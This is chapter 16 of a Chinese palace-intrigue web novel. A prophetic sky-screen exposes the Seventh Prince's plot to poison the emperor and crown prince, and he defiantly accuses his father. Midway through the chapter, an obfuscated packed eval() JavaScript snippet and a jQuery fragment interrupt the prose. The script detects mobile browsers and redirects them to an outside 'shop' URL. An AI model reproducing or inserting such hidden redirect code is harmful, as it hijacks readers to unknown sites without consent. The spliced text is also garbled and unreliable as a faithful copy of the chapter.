16. 第 16 章
作品:《天幕剧透我是敌国皇帝的崽》 有年纪稍微小点的皇子,听到这句话,心都重重地跳了一下。
九皇子则是在默默吐槽,他是不是脑袋有病。
现在事情还没发生,直接否认不就好,为什么非得让父皇生气,嫌自己的脑袋掉的不够快?
陆以时倒是能理解。
七皇子是聪明人,他哪怕现在否认,也不会改变最后的结局。
五皇子是什么样,他就会是什么样。
而且更惨。
古往今来,帝王最怕的就是谋逆。
“好好好”,贞化帝喘着粗气,声音都哑了许多:“你可真是朕的好儿子啊!”
“弑父杀兄,这就是你学的君子之道吗?”
七皇子被踹倒,随后头又重新磕在地上。
姿态卑微,但说的话却大胆:“君子之道,或许也不包括把自己的儿子,当做筹码。”
贞化帝的怒气彻底上来:“你……你!”
旁边的总管太监,连忙让旁边守着的太医过来。
上次发生意外后,每逢天幕出现,旁边都要守着太医,防止出现意外。
太医跪在地上,拿着银针,连忙往通气舒缓的穴位扎:“陛下要保重龙体,莫要太过生气。”
【这件事,还是要从太子和七皇子的小时候说起。】
这时候,在场的人也尽数反应过来。
被杀的兄,也就是所谓的太子。
【七皇子的生母,只是一位宫中伺候妃子的小宫女。比起其他有权有势的人,那就是人下人。】
【北宣高祖自己的孩子多,哪怕生下来的是皇子,也没有多在意。当时他忙着前朝的事,连七皇子的出生日期都不清楚,更别提赏赐。】
【宫中之人都是见风使舵的,北宣高祖连赏赐都没给,那自然是不得圣心。本来就人下人,这次也变得谁都能踩一脚了。】
【克扣衣服和饭食,冬天没有煤炭,甚至连太监都能吐两口唾沫,日子过的比普通百姓惨多了。】
宫中那些见风使舵的人听到这里,有些害怕道:“你们说,陛下会知道是我们吗?”
他旁边的人道:“陛下日理万机,怎么会关注这些小事?你就把心放在肚子里面吧。”
太监想想也是:“七皇子现在都谋逆了,总不会有人给他主持公道。”
【题外话,如果七皇子生在南宣,可能会有完全不一样的人生。】
南宣太子听到这里,轻轻咳了下。
仁庆帝听到:“你身子弱,受不了冷风。如果想知道天幕,在殿里面也能知晓。”
太子笑笑:“还是外面清楚些。”
天幕多么重要,如果错过,心里总是不踏实。
“随你”,仁庆帝不会在这种小事上和孩子计较:“不过北宣的人,是真不会养孩子啊。”
无论是之前的五皇子,还是今天的七皇子,都算得上皇家丑闻。
要命的是,这些丑闻已经天下人皆知。
太子不好回答,便简单应了声。
但他心里也有自己的打算,自己如今能过的这么好,也是因为仁庆帝的身体原因。
只有一个孩子,无形之中便少掉许多麻烦。
太子甚至还有个大胆的想法,若是北宣的皇帝也少生些孩子,也不会有今天的事情。
【不过世事难料,在哪里出生也不是七皇子能够决定的。】
【七皇子小时候过得苦,好在被北宣的皇后收留,情况才好转了些。】
太子也道:“母后也对你很好,她知道今天的事情,怕是晚上都伤心地睡不着了。”
七皇子反而轻笑,看着他道:“那母后当年,为什么要收留我呢?”
一个地位卑贱、吃不饱穿不暖、半分价值都没有的人,皇后为什么要护着他呢?
七皇子语气淡淡:“总不会是因为母后善良。”
能成为一宫之主,一国之后的人,善良是最不可能的。
“皇后当年需要孩子巩固地位,你身为太子,旁边也需要支持者。”七皇子面无表情地分析着利弊:“这些事情,本来应该由你的亲弟弟来完成。”
“但很可惜,皇后娘娘的第二个儿子体弱,没满一岁就走了。”
七皇子:“如果我没猜错,皇后娘娘应该是生产的时候伤到了身子,别无选择,所以只能选我。”
稍微有点权利的妃子,都不愿意把自己的孩子送出去。
“太子哥哥,我说的对吗?”
太子还未回答。
贞化帝便率先开口,脸都被气的铁青:“逆子,你还好意思问?皇后仁德,自幼把你养在膝下,这还是皇后的错了?”
没让禁卫军把人拖下去,单纯因为天幕还没结束而已。
七皇子知道自己的结局。
无论如何都要死,那再俯首认罪也没有用,不如把想说的话都说完。
他轻笑,看着贞化帝道:“皇后确实比父皇好一些,在场的所有人里面,唯独您没资格教训我。”
“五皇兄能够惹下滔天大错,其中有父皇的默许。而我弑父杀君,说不定也是父皇自己种下的苦果。”
听到这里,恢复些的贞化帝,一口气没上来,又气急攻心,吐出一口血来。
“陛下!”
“父皇!”
所有人开始催促太医:“父皇这是怎么了,若是出问题,你头上的脑袋也保不住了!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337583|198784||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>太医:“……”
他都有些无奈,想让皇帝短时间内别看天幕了。
说一句,就要生气一次。哪怕是扎针,也跟不上皇帝吐血的速度。
但这番话,太医也只在心里默默吐槽。
手上的动作没停,连忙将针重新扎在了重要的穴位。
【但这种好是有代价的。】
【天下没有白吃的午餐,不管是在古代还是现代,得到什么,就要付出相应的东西。】
按照道理来说,七皇子是应该恨天幕的。
如果不是天幕,他的计划不会败露,也不会落得这场境地。
但听到这两句话,他看天幕的眼神,反倒顿了顿。
【七皇子被皇后收留,他也自然而然地成为了太子的幕僚。为对方出谋划策,殚精竭虑地思考如何赢得被宣太祖的欢心。】
【在北宣高祖称赞太子的时候,他永远只能当隐形人。】
【这些事情,在史书上都有记载。极度的不平衡下,七皇子有异心也理所当然。】
陆峤眨眨眼,揪了揪陆以时的袖口:“十五哥。”
陆以时微微偏头,小声问道:“怎么了?”
他以为小十七是腿疼,毕竟身体的伤还没完全恢复。
陆峤想说些什么,又顾忌着周围的人,最后还是摇摇头:“没什么。”
他就是有些难受。
自己比七皇子的身份高贵不到哪里去,只是晚出生两年,当时宫里大部分妃嫔,都有了自己的孩子。
地位低的,没心力争抢这些,也就没人想着把他收养过去。
他才没落得这样的下场。
陆以时嗯了声:“我们回去说。”
【但是他很能忍,前期一直辅助太子,从没显露过自己的野心,隐藏地天衣无缝。】
【暗地里,在偷偷给北宣高祖和太子下慢性毒药。】
【兵不血刃,得到了太子手上的大部分权利,皇位也理所当然地换了人坐。】
贞化帝接连吐血,太医也实在没办法,让总管太监和旁边伺候的人把皇帝抬到殿里面。
皇帝不在身边,皇子们也不用顾忌,憋在心里的话总算能说出来。
“慢性毒药?”
“不仅给父皇下了毒药,还会给太子哥哥下?”
“七皇兄,我们平时没有交往,你应该没有顺手给我下一份吧?”
其中最惊惶的,除了太子便是九皇子了。
他连忙让人把太医叫过来,还不忘道:“七皇兄,君子行事讲究光明磊落,你怎么还偷偷下毒呢?!”
旁边听着的陆以时:“……”
能赢就行,讲究什么光明磊落。

